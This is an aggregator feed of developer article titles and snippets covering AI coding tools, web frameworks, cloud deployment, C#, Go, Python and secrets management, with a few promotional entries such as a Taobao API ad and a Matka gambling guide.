    OK this was so much fun: Googles Gemini 3 is amazing. just got it to redesign my home page. I was having fun with this one so no real idea what I wanted just vibing along. It gave me a matrix style hero component which blew me away. This is so cool and the fact that I can spend less than an hour to improve my personal site is insane. I used goose coding agent for this one which is open source and free and I just put my Gemini API key in which I am still using a free trial so my total cost for having fun was zero. Was quite impressed that by giving Goose the link to an image it just downloaded it for me and added it to my public folder of my site. One less tedious task for me to do. Towards the end I had the crazy idea of creating 7 hero component designs that change when you refresh the page. Why? Cause it's cool. This is maybe not how you build production apps but it sure is great for prototyping and getting to learn how new tools work and improving your communication with AI Agents and LLMs. I encourage you all to take time out of your day and play around. Build a personal site even if you never deploy it. Improve your personal site and modify the design just for fun. Have fun cause Gemini 3 is pretty amazing and the tools we have available to us right now is insane. And of course don't forget to run the Playwright healer agent after you have changed your design so your tests are updated. All it takes is a prompt. I didn't show it in this video but check out my other videos on Playwright Agents. Have fun and happy vibe coding Links: https://block.github.io/goose/ https://blog.google/products/gemini/gemini-3/  ( 7 min )
    5 Quick DevEx Audit Wins
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    Earn Big Through Bug Bounties: A Developer’s Guide to Ethical Hacking
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    The Developer’s Paradox: Why You Need a Next.js SaaS Starter Kit to Stop Coding and Start Selling
    You have a brilliant idea. It came to you in the shower or during a commute—a SaaS concept that solves a specific pain point, has a clear target audience, and potential for recurring revenue. You rush to your computer, fire up your terminal, and type npx create-next-app. The adrenaline is pumping. You are ready to build the next unicorn. But then, reality hits. Before you can write a single line of logic that makes your app unique, you have to set up authentication. Then you need to configure the database connection. Then comes the Stripe integration, webhook listeners, protected routes, email transaction providers, and responsive dashboard layouts. Three weeks later, you are still debugging a JWT token issue. Your enthusiasm has waned, and your "brilliant idea" is gathering dust in a fold…  ( 11 min )
    Lesson 26: Freqtrade-Custom Strategy Development
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    Stop Shipping Muddy Shadows: A Practical, Copy‑Paste Guide to Professional UI Shadows (CSS + Tailwind)
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    Top 6 WordPress Heatmap Plugins to Decode Real User Behavior
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    Automating Code Quality: Stop Debating Style and Start Coding
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    When the Internet Broke: What Really Happened During the Cloudflare Outage
    I was trying to check my Twitter feed (sorry, X), and instead of my usual doom scroll, I got hit with an error message. Then I tried ChatGPT. Error. Spotify? Nope. Even McDonald's self-service kiosks were down. I thought maybe my WiFi was acting up again, but nope—turns out a company called Cloudflare had a pretty bad day, and it took a huge chunk of the internet down with it. Before we get into what went wrong, let me explain what Cloudflare does, because most people have never heard of them, yet they use their services every single day. Think of Cloudflare as the internet's security guard and traffic controller, all rolled into one. When you visit a website, you're not always talking directly to that website's server. Instead, Cloudflare sits in the middle, doing a bunch of important job…  ( 10 min )
    How We Built The First Open-Source Rust Core Agentic AI Framework
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    Hey there! 👋🏻 Just used the "Generate Image" function of Dev to generate this cover, and yes, I know it says C 14 rather than C# 14. If you've written C# code before, there's a good chance you've come across extension methods. They've been around since C# 3.0 back in 2007, and they're pretty much everywhere in .NET—especially in LINQ. But with C# 14 and .NET 10, things just got a whole lot more interesting with the introduction of Extension Blocks, or as some folks call it, Extension Everything. So what are extension blocks? Why should you care? And how can you use them to write cleaner, more expressive code? Let's dive in and find out! The code examples in this article require .NET 10 and C# 14, which were officially released on November 11, 2025. If you haven't already installed .N…  ( 14 min )
    Engineering Trust: Understanding Systems Beyond Repairs
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    How to Convert XLS to XLSX and Vice Versa Using Java
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    YiwuGO API: Tutorial on Retrieving Product Details Page Data via Product Link API Call
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    A Zero-Build Web Framework with Pure JavaScript
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    Carbone is a templating engine designed to generate dynamic documents (PDFs, DOCX, XLSX, PPTX, etc.) by merging templates with JSON data: The JSON Data-set coming from your application, database, or API. The template must be designed using a Text Editor like Word, LibreOffice or Google Docs. To inject the content dynamically you must write Tags (a.k.a. placeholder), it will be replaced with the corresponding values from the JSON data. Carbone’s tag syntax offers a lot of possibilities! This article focuses on the essentials, but if you want to dive deeper or see more examples, check out the official documentation. The placeholder tag injects the value of a property from the root of the JSON data object (d). It is the simplest way to insert dynamic data into your template. For instance, i…  ( 14 min )
    How Gemini 3 Is Changing the Way Developers Build, Document, and Automate
    Artificial intelligence has entered a new era. Google DeepMind has unveiled Gemini 3, its latest AI model designed not just to process information, but to act as a true partner for developers. With enhanced reasoning, agentic coding, and multimodal understanding, Gemini 3 is tailored to help you learn, build, and plan complex projects with unprecedented efficiency. In this article, we’ll break down what Gemini 3 offers for developers, including Deep Think mode, Google Antigravity, DeepDocs integration, and actionable ways to leverage these tools in your workflow. Gemini 3 Pro sets a new benchmark in AI reasoning. Compared to its predecessor, Gemini 2.5 Pro, it delivers dramatic improvements across multiple metrics: LMArena Leaderboard: 1501 Elo Humanity’s Last Exam: 37.5% without tools GP…  ( 15 min )
    WTF is Distributed Deno?
    WTF is this: Decoding the Mystery of Distributed Deno Ah, the elusive Distributed Deno – sounds like a secret agent, right? But, in reality, it's a tech concept that's been gaining traction, leaving many of us scratching our heads. Don't worry; I'm here to break it down in simple terms, so you can impress your friends with your newfound knowledge. Distributed Deno, in a nutshell, is a way of running applications across multiple machines, rather than just one. Imagine you're playing a game on your computer, but instead of using just your computer's resources, you're using the resources of your friend's computer, your neighbor's computer, and even the computer of that one cousin you barely talk to. It's like a team effort, where each computer works together to make the game run smoother, f…  ( 12 min )
    Go in Action: Building a Production-Grade Dynamic Reverse Proxy on Top of Gin
    Foreword As backend developers, we are certainly familiar with Nginx. It is the absolute dominator of reverse proxies and load balancing. However, have you encountered this scenario: your business is in a rapid iteration phase, backend service nodes change frequently, or you need to perform canary releases. Every time you adjust the Upstream servers, you have to modify nginx.conf and then carefully execute nginx -s reload. Although Nginx has powerful performance, its configuration management can feel slightly "heavy" in certain dynamic scenarios (while Nginx Plus supports dynamic APIs, that is a paid feature; Lua scripts can also achieve this, but maintenance costs are high). If you are a Go developer and are currently using the Gin framework, you can completely "embed" reverse proxy cap…  ( 10 min )
    Taobao API: Tutorial on retrieving product details page data via product link
    I. Interface Overview The Taobao Product Details API allows developers to retrieve detailed product information via product ID (num_iid), including comprehensive data such as title, price, inventory, sales volume, images, description, and SKU. This interface adopts a RESTful design, supports real-time data updates and high-concurrency requests, and is suitable for e-commerce application development, data analysis, price monitoring, and other scenarios. II. Interface Parameters: Taobao provides a Product Details API interface, which mainly includes: Core Functions Supports retrieving basic product information (title, price, inventory), SKU specifications, description, reviews, etc. Provides logistics information (shipping location, postage), product images, and detailed specifications. Supports field filtering to optimize transmission efficiency. Call Flow Registration and Authentication: c0b.cc/R4rbK2, click to get a test key. or add wechat id:19970108018 . Sending Requests: Calls the API via HTTP GET/POST and parses the returned JSON data. In conclusion, Taobao's product details API provides developers with a standardized and efficient solution for acquiring product data, supporting diverse needs from basic information to in-depth analysis. It is an important tool for e-commerce business development and operation.  ( 6 min )
    How to make an old wash machine work with Raspberry Pi 4?
    Short answer: you can make an old washing machine “smart” with a Raspberry Pi 4, but you should not try to replace its internal controller or directly wire GPIO into mains. The safe way is to treat the machine as a black box and let the Pi monitor and optionally “press buttons” or switch power from the outside. I’ll give you a practical, but safety-conscious roadmap. 1. Decide what “make it work with Pi” means Typical goals: Get notifications (cycle finished, machine running or idle). Monitor energy/use (when it runs, how long, maybe power draw). Remote control start/stop (within reason). Home-automation integration (Home Assistant, Node-RED, etc.). If you say which of these you care about most, we can go deeper. For now I’ll assume: monitor + maybe remote start. 2. Safest approach: treat…  ( 9 min )
    Software Engineering Forgot About KISS
    For decades, the software industry has repeated the mantra KISS: Keep It Simple, Stupid. But somewhere along the way, we stopped practicing it. Today, we design systems that are far more complex than the problems they try to solve. We pile abstraction upon abstraction, create layers upon layers, and split systems into dozens of microservices long before the business even knows what it needs. And then we wonder why software is difficult to change, expensive to maintain, and resistant to adaptation. This article argues something uncomfortable but important: Modern software engineering has drifted away from simplicity — and the price we pay is adaptability. Let’s bring KISS back into focus, not as a nostalgic slogan, but as a practical strategy for building resilient, maintainable systems.…  ( 9 min )
    Going Live: How I Deployed My Water Quality ML API to the Cloud in 5 Minutes
    "It works on my machine." Every developer knows this phrase. I had just finished building a Water Quality Prediction system using Python, Flask, and Docker. It was running perfectly on my laptop. I could send a curl request to localhost:5000 and get a prediction back instantly. But "localhost" doesn't help the world. If I wanted this model to actually be useful—perhaps as a backend for a mobile app or an IoT river monitoring system—I needed a public URL. In this post, I’ll walk through the final (and surprisingly easiest) step of my project: deploying a Dockerized Flask app to the cloud using Render. Before we jump into the cloud, here is a quick snapshot of what I built: The Brain: A Random Forest Classifier trained to predict water quality classes (0, 1, 2). The Body: A Flask API that ac…  ( 8 min )
    The Simple Guide to Smarter Matka Planning and Daily Number Tracking
    If you follow* Matka regularly*, you already know how unpredictable the game can feel. Some days numbers flow in familiar patterns, and other days the entire chart behaves differently. What helps most is clarity — understanding combinations, reading daily updates, and using predictions responsibly rather than emotionally. In this guide, we break down four simple elements players rely on every day to stay informed and make calculated decisions: double pana patterns, live results, open numbers, and practical prediction habits. Many players start their analysis with matka double pana Live results are another important part of daily decision-making. Anyone who checks the game regularly understands that speed and accuracy matter. The moment a result drops, experienced players compare it with ea…  ( 8 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    ‘Weird Science’ Rewatchables Breakdown Bill Simmons and Kyle Brandt dive headfirst into John Hughes’s 1985 cult classic Weird Science, unpacking everything from its teen-tinged rock ’n’ roll vibes to memorable moments with Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith. It’s your classic Ringer Rewatchables episode—expect plenty of laughs, nostalgia and cheeky commentary on the movie’s wild style. Produced by Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, this episode is proudly sponsored by State Farm’s Personal Price Plan®. Catch it on The Ringer-Verse YouTube channel or the Bill Simmons channel, and don’t forget to subscribe for more movie deep dives! Watch on YouTube  ( 6 min )
    Ringer Movies: The 25 Best Movies of the Century: No. 4 - 'Inglourious Basterds’
    The 25 Best Movies of the Century: No. 4 – Inglourious Basterds Sean and Amanda dive into their yearlong countdown, hailing Quentin Tarantino’s Inglourious Basterds as the more thrilling pick over Once Upon a Time in Hollywood. They break down what makes this WWII romp one of the standout cinema experiences of the century. From Christoph Waltz’s unforgettable turn to the film’s lasting impact on both war movies and Tarantino’s legacy, they unpack why Basterds still packs a punch and earns its spot at number four. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins takes us back down the yellow brick road with a rapid-fire sin count of the classic 1978 musical, spurred on by Wicked’s return to theaters. Expect their trademark blend of nitpicks, snark, and a fresh look at whether The Wiz actually holds up better than you remember. Along the way they drop links to all their channels—CinemaSins, TVSins, CommercialSins, the Podcast Network—plus Discord, Reddit, social media, a quick poll, and a Patreon pitch for fans hungry for more sinful fun. Watch on YouTube  ( 6 min )
    Tutorial: Building a .NET 9 Console App with Hangfire and Channels
    Tutorial: Building a .NET 9 Console App with Hangfire and Channels Overview In this tutorial, you will build a .NET 8 console application that: Polls data from an API, or simulates it Uses System.Threading.Channels for producer consumer messaging Runs background tasks using Hosted Services Enqueues jobs in Hangfire using in memory storage Traditional producer consumer patterns often rely on BlockingCollection or custom queues, which can introduce: Thread contention Blocking calls Complex synchronization System.Threading.Channels provides: Asynchronous, non blocking communication between producers and consumers Built in backpressure when using bounded channels High performance with low allocation In this app: DataPollingService is the producer, it writes work items into the ch…  ( 10 min )
    TUTORIAL: Implementasi Email Aman & Anti-Blokir (Zero Bounce Policy)
    Target: Developer Node.js & Laravel Infrastruktur: Shared Hosting (Hostinger, Qwords, Niagahoster, dll) Tujuan: Mencegah domain terblokir akibat pengiriman ke email sampah/mati. Sebelum menyentuh kodingan, Anda wajib memastikan "SIM" (Surat Izin Mengemudi) email domain Anda valid. Tanpa ini, email Anda akan masuk Spam atau ditolak, sebagus apapun kodenya. Masuk ke hPanel (Hostinger) atau cPanel (Qwords) Anda. Cari menu "Email Deliverability" atau "DNS Zone Editor". Pastikan record berikut ada dan aktif: Jenis Record Nama (Host) Value (Contoh) Fungsi TXT (SPF) @ v=spf1 include:_spf.mail.hostinger.com ~all Memberi izin server hosting mengirim email. TXT (DKIM) default._domainkey (Kode panjang acak dari hosting) Tanda tangan digital anti-pemalsuan. Penting: Jika status SPF/DKIM …  ( 9 min )
    C/C++ code analysis that is free from build system constraints
    Do you write in C or C++ and want to analyze code regardless of the build system? Today, we'll explain how to use PVS-Studio static analyzer and plugin for Visual Studio Code on Windows. Do you write in C or C++ and want to analyze code regardless of the build system? C/C++ code can be used for different purposes that require their own build systems. For example, embedded development relies on specific compilers and build systems. Sometimes, you can encounter a whole "zoo" of custom build scripts and suddenly realize that the previous "zookeeper" has resigned last year. However, you decide that you still want to analyze such code (somehow), but you don't have any desire to understand the fragile and incomprehensible build system. What can you do? Actually, there's a solution! The analyz…  ( 12 min )
    757. Set Intersection Size At Least Two
    757. Set Intersection Size At Least Two Difficulty: Hard Topics: Array, Greedy, Sorting, Weekly Contest 65 You are given a 2D integer array intervals where intervals[i] = [startᵢ, endᵢ] represents all the integers from startᵢ to endᵢ inclusively. A containing set is an array nums where each interval from intervals has at least two integers in nums. For example, if intervals = [[1,3], [3,7], [8,9]], then [1,2,4,7,8,9] and [2,3,4,8,9] are containing sets. Return the minimum possible size of a containing set. Example 1: Input: intervals = [[1,3],[3,7],[8,9]] Output: 5 Explanation: let nums = [2, 3, 4, 8, 9]. It can be shown that there cannot be any containing array of size 4. Example 2: Input: intervals = [[1,3],[1,4],[2,5],[3,5]] Output: 3 Explanation: let nums = [2, 3, 4]. It can be sho…  ( 38 min )
    SaaS AI Agent Integration - Build and Deploy in One Week
    Will AI agents replace SaaS? Artificial intelligence (AI) agents are revolutionizing SaaS platforms in 2025, driving automation, intelligence, and scale. But will AI agents replace SaaS? The answer is no. Instead, AI agents are becoming essential extensions of SaaS, automating repetitive workflows that once slowed teams and killed margins. Without AI agent integration for key tasks like support triage or lead qualification, your SaaS platform risks losing the efficiency edge to competitors. With API call costs dropping to as low as $0.001 and mature platforms like OpenAI, n8n, Make.com, and Zapier offering plug-and-play AI integrations, embedding AI-powered automation is both affordable and impactful. According to data from Aalpha.net, you can automate hours of manual work per week for th…  ( 15 min )
    Is the AI Bubble About to Burst? Why Even Google Is Uncertain — and What Companies Should Do Next
    When Sundar Pichai Issued the Warning Alphabet CEO Sundar Pichai recently said something that shook the industry: “No company is immune if the AI bubble bursts.” For two years, companies have raced into AI: Massive investments Fear of missing out Pressure to add AI everywhere Unrealistic expectations about returns Yet even Google — a global AI leader — is uncertain about ROI. Google revealed it increased its AI infrastructure spending from: $30B → $90B in one cycle. If Google is unsure whether its AI investment will pay off… What does that mean for the rest of the market? Google’s Gemini File Search disrupted the entire RAG ecosystem. In a single update, it replaced two years of “best practices”: Vector databases Chunking and embeddings Retrieval logic Custom RAG pipelines AI…  ( 8 min )
    JavaFX In Action #23 with Craig Raw about the Sparrow Bitcoin Wallet
    I don't have any bitcoin myself, but still find the idea of the blockchain and "public shared money" fascinating. And as it turns out, there is a free and open-source bitcoin wallet, created with JavaFX, that wants to help people understand how the Bitcoin system works, and make transactions easy to understand. Thanks to the work of Craig Raw, there is an easy-to-use desktop application to create and manage wallets. And while he explains the app itself, we also learn a lot about the Bitcoin ecosystem, reproducible builds, security, hardware wallets, and more! About Craig Craig Raw is the creator of the Sparrow Bitcoin Wallet. He lives in South Africa. Funny fact: in the video, you can hear that he is surrounded by birds who wanted to join the conversation. Craig loves Java a…  ( 10 min )
    JsonTree for Mantine UI: A Delightfully Simple Way to Inspect Any Data Structure
    If you build React apps with Mantine UI), you already value clarity, consistency, and speed. JsonTree continues that tradition: it renders any JavaScript value—primitives, arrays, and objects—into an interactive tree with minimal effort. Drop it in, point it to data, and you’re done. When you need more, it offers clean extension points and Mantine-friendly styling. A lightweight, flexible tree viewer for strings, numbers, booleans, nulls, arrays, and objects—built for Mantine UI, with zero configuration and rich customization when you need it. Works with any value: string, number, boolean, null, array, object. Instant visibility: expand/collapse nodes to navigate complex payloads. Mantine-first: designed to fit your theme, typography, spacing, and dark mode. Zero-config by default; composable when you need control. import { JsonTree } from “@gfazioli/mantine-json-tree”; import { data } from ‘./data’; function Demo() { return ; } API response debugging: Quickly explore fetched JSON without switching tools. Admin interfaces: Render configuration blobs, feature flags, or audit objects. Developer tools: Embed a live inspector during development or in internal dashboards. Education/demo pages: Show data shapes and changes clearly for tutorials and onboarding. Video You can watch More video Happy building!  ( 6 min )
    Angular PDF Libraries: Free & Paid Tools (In-Depth Developer Guide)
    Introduction Angular PDF libraries provide a powerful set of features that enable developers to create, display, and manipulate PDF documents, which include an Angular PDF viewer/editor, directly within an Angular application. Which helps us to create PDF files, being a common format for reports, invoices, forms, and downloadable content, their implementation has become an indispensable part of today's web development. Since Angular is first and foremost a frontend framework running in the browser, heavy file operations are not natively supported. The developers use third-party PDF libraries designed to run efficiently either on the client or server to meet the needs of users. With the use of PDF libraries, developers achieve various tasks like HTML to PDF conversion, PDF viewing, PDF an…  ( 10 min )
    How to Fix a Commit Message
    Good commit messages are important for improving collaboration, speeding up debugging, documenting a project's history, and simplifying code reviews. But sometimes we make typos in our commit messages because we are, for now, human. Sometimes the message we wrote isn't clear or detailed enough. In any case, sometimes we want to change the message we wrote for a commit. In this post, we'll go over two simple ways to change a commit message to make it clearer, more organized, more accurate, correct, etc. For example, you might want to change: # Vague message fix bug # To something more descriptive Resolve null pointer exception in user login validation We want to fix the message of the last commit we made. The command git commit --amend allows us to change the last commit. Make sure there…  ( 8 min )
    Python by Structure: Decorator Chains and Execution Order
    Timothy was debugging a data processing function that wasn't working correctly. "Margaret, I added decorators to validate the data and log the results, but I'm getting validation errors on values that should be fine. Look - the decorators are all here." Margaret examined his code: @validate_result @transform_data @sanitize_input def process_user_data(data): return calculate_score(data) "The decorators are there," Margaret said, "but do you understand the order they execute in?" Timothy blinked. "They... run top to bottom, right? Like the rest of Python?" "That's what everyone thinks at first. But decorators are different. Let me show you what's really happening." "When you stack decorators," Margaret explained, "they execute bottom-to-top, not top-to-bottom. Your sanitize runs first, …  ( 10 min )
    Help with Story Points Estimation
    Hi everyone! 👋 Have you ever struggled with story points estimation? I definitely have. Those long discussions where everyone throws numbers around... it can be frustrating to settle on a number that actually makes sense. That’s why I built a small web app to help teams make more rational decisions. The tool is super simple: It lets you estimate points based on things like complexity, dependencies, resources, and effort (instead of just guessing). It also gives little hints depending on the points you choose, like whether the story might be too big to tackle or if it could be broken down. I’m not claiming it’s perfect... I just want to share something that is helping me. Maybe it’ll help you too? If you give it a try, I’d love to hear what you think. I’m open to feedback and ideas to make it better! 🚀 Cheers!  ( 6 min )
    Transforming Real-World Operations with Computer Vision Services: A Deep Dive by Oodles
    In today’s fast-moving digital landscape, businesses are generating more visual data than ever before—videos, images, camera feeds, user-generated content, and IoT sensor visuals. But raw visual information alone is not enough. Enterprises now need the ability to interpret and act on visual data in real time, and that’s exactly where Computer Vision Services step in. As AI adoption accelerates across industries, computer vision is becoming one of the most impactful technologies—driving automation, enhancing accuracy, and powering intelligent decision-making. At Oodles, we build end-to-end computer vision solutions that help businesses unlock deeper insights, optimize operations, and introduce intelligent automation at scale. Below is a closer look at how computer vision is transforming ent…  ( 8 min )
    openwrt: error while loading shared libraries: libgcc_s.so.1: wrong ELF class: ELFCLASS32
    The 32-bit version of libgcc_s.so.1 was used on the 64-bit system. uname -a Linux RT-BE88U-A1F0 4.19.294 #1 SMP PREEMPT Wed Jan 22 22:58:22 CST 2025 aarch64 RT-BE88U_Koolcenter_mod file /lib/libgcc_s.so.1 libgcc_s.so.1: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, stripped uname -a Linux OpenWrt 6.6.110 #0 SMP Sun Oct 19 16:37:45 2025 x86_64 GNU/Linux file /lib/libgcc_s.so.1 ./libgcc_s.so.1: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, no section header  ( 6 min )
    Mix with the Masters: Mixing Night with Ken Lewis - FULL MIX NIGHT - 11/12/2025
    Mixing Night with Ken Lewis – FULL MIX NIGHT – 11/12/2025 Join 2-time Grammy winner Ken Lewis for a free monthly livestream where he breaks down the mix bus, shares pro tips honed over 30+ years on 114 Gold & Platinum records, and answers your burning questions on mixing, production, recording, and career development. Watch live as Ken demonstrates the very techniques that power hit records and gets real about the art of crafting great sound. Stick around for giveaways from Session Studio, Sound Radix, and Bettermaker, plus resources like plugin breakdowns, user submission forms, merch, and more. Whether you’re a bedroom producer or a seasoned engineer, Mixing Night is your backstage pass to next-level mixing. Watch on YouTube  ( 6 min )
    Hashicorp Vault: Secret Management Engines
    Hashicorp Vault is a secrets management tool. It enables encrypted storage of sensitive data like API credentials, database passwords, certificates and encryption keys. This is managed by flexible plugins called secrets engines. Once activated in a Vault instance, they provide a standard API and CLI access for creation, updating, reading and deleting secrets. This article provides a complete overview to Vault secrets engines. It starts with a general explanation about their plugin implementation, explains the four group of engines, and then lists all engines per group as well as giving a concise tutorial for one specific example engine. The technical context of this article is hashicorp_vault_v.1.20, published 2025-06-25. All provided information and command examples should be valid with n…  ( 16 min )
    🚀 Type Alias in TypeScript: Why I Use Them Every Day (And How They Compare to Interfaces)
    If you’ve already dipped your toes into TypeScript, you’ve probably met that one feature everyone talks about but no one fully explains at the start. A type alias is basically giving a nickname to a type. A basic explanation? Think of it like giving your WiFi a name. Here’s a simple example from my playground: // type alias type USER = { name: string; contactNo: string; address: { division: string; city: string; }; gender: "male" | "female"; }; const user1: USER = { name: "Mashayeakh", contactNo: "01777", address: { division: "Dhaka", city: "Dhaka" }, gender: "male" }; console.log(user1); 😄 Why I Like Type Aliases When I'm structuring data models, a type alias feels natural. It’s straightforward and doesn’t pretend to be anything else. It just bundl…  ( 8 min )
    How I Played With Self-Correcting LLMs While Fixing My Blog
    Last week, I was staring at my latest blog draft, wondering why some sentences just sounded… off. Even though I’d let the AI generate most of it, a few phrases still felt clunky. That’s when I got curious: could I make the AI check itself before I even looked at it? So I started experimenting with self-correcting LLMs—essentially, letting the model generate a draft, detect likely mistakes, suggest fixes, and then pick the best version. At first, I thought it would be simple. Spoiler: it wasn’t. I wrote a tiny loop in Python, just to see what would happen: draft = model.generate(prompt) for i in range(2): errors = detect_errors(draft) if errors: candidates = generate_candidates(draft, errors) draft = select_best_candidate(candidates) The first pass was… messy. The A…  ( 7 min )
    Why You Should Never Raise Money Before Finding Product Market Fit
    Money is a terrible substitute for product market fit. In 2020, Quibi raised $1.75 billion before launch. The company had A-list Hollywood talent, cutting-edge technology, and unlimited marketing budget. Six months later, they shut down completely. The autopsy was simple: no amount of money can compensate for building something nobody wants. This isn’t just about Quibi. It’s about a fundamental truth that Silicon Valley rarely admits: raising venture capital before achieving product market fit is one of the most dangerous mistakes a founder can make. The Five Deadly Dangers of Premature Funding 1. The Growth Pressure Paradox When you take venture money, investors expect rapid growth. But pre-PMF companies don’t need growth — they need patient, methodical iteration. What happens next is pre…  ( 8 min )
    Which One Should You Choose: Bash or Make?
    When it comes to project automation, build workflows, and DevOps scripting, developers are often torn between Bash scripts and Makefiles. Both have strengths—and knowing when to use each can supercharge your productivity and simplify project onboarding! Bash scripts (.sh files) are imperative and powerful. They let you: Write complex logic, loops, and conditionals easily Use standard shell commands without escaping or special syntax Handle setup, deployments, cron jobs, multi-step automation, and dynamic tasks If you need pure shell power and want your workflow to run everywhere, Bash is your friend. Makefiles shine for build automation. Their unique features: Automatic dependency tracking—rebuild only what's needed Standardized commands (make build, make test) that work across projects Ea…  ( 7 min )
    Major lessons every developer should learn before a Microsoft system design interview
    When I first decided to go for a Microsoft system design interview, I was overwhelmed. The sheer scope of designing scalable, maintainable systems felt daunting. So, I turned to a mix of structured online courses and hands-on problem solving—and learned a ton along the way. In this post, I’ll share seven lessons from my journey through Microsoft system design interview prep, focusing heavily on the best system design courses and how to extract maximum value from them. If you’re prepping for Microsoft or any big tech, you’ll find these insights actionable—and grounded in real-world experience. My first mistake? Jumping into generic “system design fundamentals” courses that felt too theoretical. Microsoft interviews emphasize scalability, cloud-native architectures, and fault tolerance tailo…  ( 8 min )
    Balancing Cost and Speed: Leading Platform Engineering Companies
    Building tools inside a company helps teams launch apps faster - without blowing the budget on tech upkeep. This way, coders stay productive, businesses move fast, and spending stays under control. In real life, that mix looks like this: Dev teams grab their own setups, roll out updates fast - so they don’t sit around waiting for IT checks or slow sign-offs. It hides the messy parts while pushing changes quickly. Cash flow? Each task, setup or use fits tight budgets. You see, spending now rules keep it in check, and results match what the company gains. When platform engineering firms discuss cutting costs while moving fast, it’s never only about server expenses or how quickly deployments are on their own. They build setups where efficiency ties directly into performance - shaping tools th…  ( 11 min )
    What Should QA Teams Prepare Before an Unannounced Inspection Occurs?
    QA teams must treat inspection readiness as continuous operational behavior, not a project. Prioritize controlled documentation, robust data integrity controls, rapid access to master records, cross-functional response protocols, supplier/CRO oversight, and evidence of trend analysis and CAPA effectiveness. Recent regulatory trends show more foreign and unannounced inspections, rising “for-cause” activity, and heightened enforcement on data integrity, aseptic control, and supplier oversight, so focus on proactive risk controls, staff training, and technology that supports traceable, auditable decisions. Regulators have shifted inspection strategy in the last 2–3 years: agencies are increasing foreign on-site activity and using unannounced or short-notice visits more frequently, and “for-ca…  ( 13 min )
    VitePress debug: "frontmatter.title" is appearing in search results
    How to fix the issue of frontmatter.title appearing in VitePress search results instead of the actual content. When you first set up VitePress and use frontmatter to define titles and other metadata for your pages, you may notice that the built-in local search shows the literal template expression used in your Markdown instead of the resolved title. For example, if your page heading uses the $frontmatter template global, the local search index can treat the expression as plain text. Your search results may then show something like {{ $frontmatter.title }} instead of the actual page title. Example Markdown file (docs/markdown-examples.md): --- title: "My Awesome Page" description: "This is an awesome page about VitePress." --- # {{ $frontmatter.title }} {{ $frontmatter.description }} For…  ( 9 min )
    Deterministic RAG: A Drop-in Replacement for GraphRAG’s Unstable Planning
    Introduction Current RAG systems rely heavily on LLM-driven dynamic planning. same query → different routes small context drift → different cluster summaries debugging becomes guessing reproducibility is poor audit trails show “what happened”, but not “why this route” GraphRAG improves structural traversal, but still depends on non-deterministic reasoning inside the agent layer. Over the past 48 hours, I built a minimal deterministic RAG PoC to explore a simple question: What if we remove LLM planning from the critical path and force RAG to run on This article shares the idea and the PoC — designed as a drop-in, not a re Determinism is not about “reducing creativity”. reproducible debuggable testable auditable stable under load LLMs can still generate summaries and semantics, but the rou…  ( 8 min )
    Delete Paragraphs in Word Documents using C#
    In .NET development, automated processing of Word documents is a common requirement. Deleting paragraphs (such as cleaning up blank paragraphs or removing specific paragraphs) is one of the most frequently used operations. Free Spire.Doc for .NET is a free Word document manipulation component. It enables the creation, editing, and modification of Word documents without relying on Microsoft Word. This article will detail how to use this component to delete Word paragraphs in various scenarios. It is recommended to quickly install Free Spire.Doc for .NET via the NuGet Package Manager: Open your Visual Studio project, right-click the project → select "Manage NuGet Packages"; Enter "Free Spire.Doc" in the search box, find the corresponding package, and click "Install"; After installation, refe…  ( 8 min )
    المحامي الشاب الخلوق احمد الرضوان - اشهر محامين الكويت
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    Day 40: Python Armstrong Numbers Finder, Detect Narcissistic Numbers in a Range with Digit Power Sum
    Welcome to Day 40 of the #80DaysOfChallenges journey! This intermediate challenge explores finding Armstrong numbers (also called narcissistic numbers) in a given range, where a number equals the sum of its own digits each raised to the power of the number of digits. It combines digit extraction via strings, exponentiation, loop-based checking, and a helper function for clean logic, making it a solid exercise in numeric manipulation and conditionals. If you're advancing from basic loops to algorithmic checks or enjoy math-inspired problems, this "Python Armstrong numbers" script demonstrates a function that's efficient for reasonable ranges and easy to extend for larger bounds or optimizations. This task features a core is_armstrong function that verifies a single number, used in a range l…  ( 11 min )
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    Daily Tech News Roundup - 2025-11-20
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    Strings, Integers & Lists — The Building Blocks of Python
    A Practical Guide for Developers Who Want Cleaner, Faster, More Reliable Python Code 📌 Table of Contents Introduction 🔹 Introduction Strings, integers, and lists are the first three data types every Python developer encounters — but they remain foundational even for advanced projects. Whether you're writing APIs, processing datasets, building automations, or designing AI workflows, these three data types form the core operations underlying almost everything in Python. This guide focuses on developer-level clarity, real-world use cases, edge cases, and performance details. 🔹 Why These Three Data Types Matter Strings → parsing input, logs, APIs 🧵 Strings What Are Strings? Accessing Characters s = "Python" Slicing print(s[1:4]) # yth String Methods s = "hello world" words = ["fast", "rel…  ( 8 min )
    The 3 GitHub Projects I Recommend to Every Prompt Writer
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    Create, Debug, and Publish Firefox Extensions: A Full Developer Guide Step by Step
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    NextGen Tools for founders ready to promote their product
    NextGen Tools offers a Product Hunt alternative focused on real visibility. Your launch page highlights your title, summary, images, and site link. Visitors browse new tools and support the ones they value. Higher rankings come from real votes. Products in the top 3 that place the badge on their site receive a dofollow link. Founders launch MVPs and full SaaS products. Users view tools across multiple categories. Launch, share, and grow with real engagement. Start here: https://nxgntools.com  ( 6 min )
    How to Create Specialized Password Generators with Python Functions?
    Summary: Random Password Generation In this article, we will explore a versatile and modular approach to building a password generator in Python. Moving beyond a single script, you will learn how to create multiple specialized functions, each designed for a specific purpose. We will define functions that generate letters-only passwords, numeric PINs, complex punctuation-based keys, standard alphanumeric passwords, and even a fully customizable generator that uses any character set you define. This step-by-step guide Python Password Generator will empower you to understand function definition, default parameters, and the principles of code reusability, providing you with a toolkit of password generation solutions for various security scenarios. import random import string def password_le…  ( 9 min )
    Building Accessible Themes with Generative AI
